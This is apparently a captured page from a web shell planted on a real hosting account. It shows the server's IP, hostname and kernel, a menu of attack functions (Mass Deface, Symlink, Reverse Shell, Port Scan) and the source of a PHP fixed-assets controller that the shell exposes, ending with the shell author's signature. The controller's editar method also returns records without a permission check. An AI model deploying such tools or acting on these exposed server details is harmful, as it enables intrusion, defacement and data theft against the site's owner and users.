Tul xxx Tul
User / IP
:
216.73.216.227
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil2
/
controllers
/
Viewing: Activosfijos.php
<?php class Activosfijos extends Controller { private $id_usuario, $id_sucursal; public function __construct() { parent::__construct(); session_start(); if (empty($_SESSION['id_usuario'])) { header('Location: ' . BASE_URL); exit; } $this->id_usuario = $_SESSION['id_usuario']; $this->id_sucursal = $_SESSION['id_sucursal']; } public function index() { if (!verificar('ver_activos')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $data['title'] = 'Activos Fijos'; $data['script'] = 'activosfijos.js'; $this->views->getView('activosfijos', 'index', $data); } public function listar() { $data = []; if (verificar('ver_activos')) { $data = $this->model->getActivos(1, $this->id_sucursal); for ($i = 0; $i < count($data); $i++) { $data[$i]['costo'] = number_format($data[$i]['costo'], 2); $data[$i]['valor_residual'] = number_format($data[$i]['valor_residual'], 2); $data[$i]['depreciacion_acumulada'] = number_format($data[$i]['depreciacion_acumulada'], 2); $data[$i]['valor_en_libros'] = number_format($data[$i]['valor_en_libros'], 2); $data[$i]['fecha_compra'] = date('Y-m-d', strtotime($data[$i]['fecha_compra'])); $estado = ($data[$i]['estado'] == 1) ? '<span class="badge bg-success">Activo</span>' : '<span class="badge bg-secondary">Baja</span>'; $data[$i]['estado_texto'] = $estado; $acciones = '<div class="btn-group" role="group">'; if (verificar('editar_activos')) { $acciones .= '<button class="btn btn-info btn-sm" type="button" onclick="editarActivo(' . $data[$i]['id'] . ')"><i class="fas fa-edit"></i></button>'; } if (verificar('eliminar_activos')) { $acciones .= '<button class="btn btn-danger btn-sm" type="button" onclick="eliminarActivo(' . $data[$i]['id'] . ')"><i class="fas fa-trash"></i></button>'; } $acciones .= '</div>'; $data[$i]['acciones'] = $acciones; } } echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function registrar() { if (isset($_POST['codigo']) && isset($_POST['nombre'])) { $codigo = strClean($_POST['codigo']); $nombre = strClean($_POST['nombre']); $categoria = isset($_POST['categoria']) ? strClean($_POST['categoria']) : ''; $descripcion = isset($_POST['descripcion']) ? strClean($_POST['descripcion']) : ''; $fecha_compra = isset($_POST['fecha_compra']) ? strClean($_POST['fecha_compra']) : ''; $costo = isset($_POST['costo']) ? strClean($_POST['costo']) : ''; $vida_util = isset($_POST['vida_util']) ? (int) strClean($_POST['vida_util']) : 0; $valor_residual = isset($_POST['valor_residual']) ? strClean($_POST['valor_residual']) : 0; $metodo = isset($_POST['metodo']) ? strClean($_POST['metodo']) : 'LINEAL'; $id = isset($_POST['id']) ? strClean($_POST['id']) : ''; if (empty($codigo) || empty($nombre) || empty($fecha_compra) || empty($costo) || $vida_util <= 0) { $res = array('msg' => 'CAMPOS OBLIGATORIOS: CÓDIGO, NOMBRE, FECHA, COSTO Y VIDA ÚTIL', 'type' => 'warning'); } else { $vida_util_meses = $vida_util; if ($id == '') { if (verificar('crear_activos')) { $verificar = $this->model->getValidar('codigo', $codigo, 'registrar', 0, $this->id_sucursal); if (empty($verificar)) { $data = $this->model->registrar($codigo, $nombre, $categoria, $descripcion, $fecha_compra, $costo, $vida_util_meses, $valor_residual, $metodo, $this->id_usuario, $this->id_sucursal); if ($data > 0) { $res = array('msg' => 'ACTIVO REGISTRADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL REGISTRAR ACTIVO', 'type' => 'error'); } } else { $res = array('msg' => 'EL CÓDIGO YA EXISTE', 'type' => 'warning'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'warning'); } } else { if (verificar('editar_activos')) { $verificar = $this->model->getValidar('codigo', $codigo, 'actualizar', $id, $this->id_sucursal); if (empty($verificar)) { $data = $this->model->actualizar($codigo, $nombre, $categoria, $descripcion, $fecha_compra, $costo, $vida_util_meses, $valor_residual, $metodo, $id, $this->id_sucursal); if ($data == 1) { $res = array('msg' => 'ACTIVO MODIFICADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL MODIFICAR ACTIVO', 'type' => 'error'); } } else { $res = array('msg' => 'EL CÓDIGO YA EXISTE', 'type' => 'warning'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'warning'); } } } } else { $res = array('msg' => 'DATOS INCOMPLETOS', 'type' => 'warning'); } echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function eliminar($id) { if (verificar('eliminar_activos') && isset($_GET) && is_numeric($id)) { $data = $this->model->eliminar(0, $id, $this->id_sucursal); if ($data == 1) { $res = array('msg' => 'ACTIVO ELIMINADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL ELIMINAR', 'type' => 'error'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'error'); } echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function editar($id) { $data = $this->model->editar($id, $this->id_sucursal); echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } }
Coded With 💗 by
0x6ick